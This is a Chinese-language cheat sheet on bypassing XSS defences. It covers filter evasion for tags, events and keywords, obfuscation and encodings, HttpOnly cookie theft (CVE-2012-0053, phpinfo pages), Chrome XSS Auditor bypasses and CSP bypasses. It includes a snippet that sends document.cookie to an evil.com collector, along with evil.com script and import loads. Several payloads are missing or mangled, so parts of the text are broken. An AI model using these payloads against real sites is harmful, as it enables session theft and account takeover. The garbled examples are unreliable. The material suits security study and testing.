特定标签过滤
过滤了特定标签,但是**输出点在属性中**,可以闭合属性,事件弹窗
过滤指定标签,尝试双写、**大小写绕过
寻找全局替换为空标签,进行构造**
HTML5带来了部分**新标签**,容易被开发者忽略,可以进行绕过,如:video标签
事件过滤
开发者过滤了许多HTML标签的事件属性,这时可以进行爆破,**寻找未过滤标签属性**,进行构造弹窗
另外,还有一些标签本身不属于事件属性,但可用于执行JS代码,比如常见的**JavaScript伪协议
click me
**
敏感关键字(字符)过滤
字符串拼接与混淆
JS中的对象方法可通过**数组**的方式进行调用,如调用alert函数,可以使用如下方式:
window‘alert’;
数组下标调用的是函数名字的字符串,既然是字符串,就可以通过拼接的方式进行混淆
window‘al’+’ert’;
btoa():字符串转Base64字符串 atob():Base64字符串还原
windowatob(“YWxl”+”cnQ=”)
还可以用top对象,方法跟window对象一样
编码解码
HTML编码:十进制(a)、十六进制(=)
URL编码:%61**
JavaScript进制编码:
Unicode编码(\u61)、ASCII(String.fromCharcode(97))、八进制(\141)、十六进制(\x61)
CSS进制编码:兼容HTML中的进制表现形式,十进制、十六进制(\61)
JSFuck编码:
使用!+ 6个字符来编写JS程序,某些场景下具有奇效
location.*、window.name
既然开发者会对输入的敏感关键字进行过滤,那么可以将XSS代码放置于**不被浏览器提交至服务端的部分
如:location.、window.name*
location.构造如下: | *因为location.hash的第一个字符是#,所以必须除掉第一个字符
#
window.name构造如下: | 先定义window.name,在执行语句
过滤 “.”
在JS中,可以使用**with关键字设置变量的作用域**,利用次特性可以绕过对 “.” 的过滤,如下:
with(document)alert(cookie);
过滤 “()”
在JS中,可以通过**绑定错误处理函数**,使用throw关键字传递参数对 “()” 绕过
window.onerror=alert; throw 1;
过滤空格
使用**换行符**0x09、0x10、0x12、0x13、0x0a等字符代替空格绕过
http://example.com/xss.php?input=
在标签名称和第一个属性间可以使用 “/“ 代替空格,如下:
**
svg标签
svg内部的标签和语句遵循的规则是直接继承自xml而不是html
区别在于svg内部的script标签可以**允许存在一部分进制或编码后的字符**(比如实体编码)
**
字符集编码导致的绕过
这里UTF7与US-ASCII现已不适用,这里不讲,如果有兴趣,可以自己去了解
**
宽字节
GBxxx或GBK系列**可以尝试使用
http://example.com/xss.php?input=%d5%22;alert(1);//**
**
一些特殊的字符
由于字符集的原因,在浏览器中会出现如下几种情况:
特定的byte最后会变成特别的字符
特定的byte会破坏紧随其后的文字
特定的byte会被忽略
这些特殊字符可用于浏览器的XSS Auditor、制造基于字符编码的XSS漏洞等方面,如下图所示
完整测试结果
长度限制
部分输入点会限制输入字符的数量,这时就需要使XSS代码尽量短小精悍,可使用如下方式:
window.name
location.*
代码如下:
第三方库工厂函数
诸如jQuery等第三方JS库大部分都会提供相应的工厂函数
如jQuery中的 “$()”,它会自动构造标签,并且执行其中的代码
注释
将XSS代码分为多个阶段,在每个阶段的代码前后添加注释符号,依次注入XSS代码,然后组合
stage 1:
HttpOnly绕过
概念
HttpOnly是**Cookie的一个安全属性**,设置后则可以在XSS漏洞发生时避免JS读取到Cookie
但即使设置了HttpOnly属性,也仍有方法获取到Cookie值
CVE-2012-0053
思路:
通过向网站植入超大的Cookie,令其超过Apache的LimitRequestFieldSize(**最大请求长度,4192字节**)
使其Apache返回400错误,状态页中包含了HttpOnly保护的Cookie
源代码链接**
PHPINFO页面
无论是否设置了HttpOnly属性,phpinfo()函数都会输出当前请求上下文的Cookie信息
如果目标网站存在PHPINFO页面,就可以通过XMLHttpRequest请求该页面获取Cookie信息
**
Flash/Java
思路:
通过Flash、Java的一些API可以获取到HttpOnly Cookie
漏洞链接
XSS Auditor绕过
概念
**这是一个被加入在了chrome内核中的安全功能,之所以加入内核是为了其它调用chrome内核的浏览器也具备这个功能,目的是为了抵御XSS,功能很强大
字符集编码导致的绕过
因低版本谷歌浏览器对ISO-2022-JP等编码处理不当,在页面没有设置默认编码并使用这个日语字符集时
XSS Auditor检查的部分会向Payload添加0x0f字符,这样就可以绕过XSS Auditor
代码如下:**
协议理解问题导致的绕过
XSS Auditor在检查加载脚本的路径时,如果加载的脚本在自身目录下,且XSS的输出点在HTML属性中
那么XSS Auditor不会对其进行拦截,但如果检测到了 “//“ 这样的外部链接的话,就会触发Auditor
绕过代码如下:
http://example.com/xss.php?input=1"><link rel=”import” href=https:evil.com/1.php
**
CRLF导致的绕过
思路:
chrome浏览器的XSS Auditor默认时开启的
但如果HTTP响应头中的X-XSS-Protection属性被设置为0,那么Chrome会关闭XSS Auditor
因此,如果在HTTP响应头中注入CRLF并在新一行中写入X-XSS-Protection:0,XSS代码就不会被拦截**
内容安全策略(CSP)绕过
概念
以白名单的机制来管理网站要加载或执行的资源
在网页中,这样的策略时通过HTTP头信息或者meta标签来定义的
可以防止攻击者从外部网站跨域加载恶意代码
CSP配置错误
策略定义不全或未使用default-src来补全
script-src的源列表包含unsafe-inline(并且没有使用nonce或hash策略)或允许data伪协议
script-src或object-src源列表包含攻击者可控制的部分源地址(文件上传、JSON Hijacking、SOME攻击)**
源地址列表滥用通配符
unsafe-inline下的绕过
CSP策略如下:
default-src ‘self’;script-src ‘self’ ‘unsafe-inline’
除script开启unsafe-inline模式之外,其余资源仅允许加载同域。绕过方法有如下几种
DNS Prefetch:link标签最新的rel属性dns-prefetch尚未被加入CSP实现中
location.href:大部分网站跳转还是要依赖前端来进行,所以在CSP中是无法对location.href做出限制的
**
var a=document.createElement(“a”)
a.href=’http://evil.com/cookie.php?cookie='+escape(document.cookie);
document.body.appendChild(a);
a.click();
**
严苛规则script-src’self’下的绕过
CSP策略如下:
default-src ‘self’; script-src http://example.com/a
关闭unsafe-inline模式,所有资源仅允许加载同域。此时可使用如下绕过方法**
重定向(302跳转)导致的绕过
http://example.com/xss.php?input=<script src=”http://example.com/a/redirect.php?url=
http://example.com/b/evil.js">
**
CRLF导致的绕过
在HTTP响应头中注入[CRLF][CRLF],将CSP头部分割至HTTP响应体中,这样XSS代码不再受到CSP影响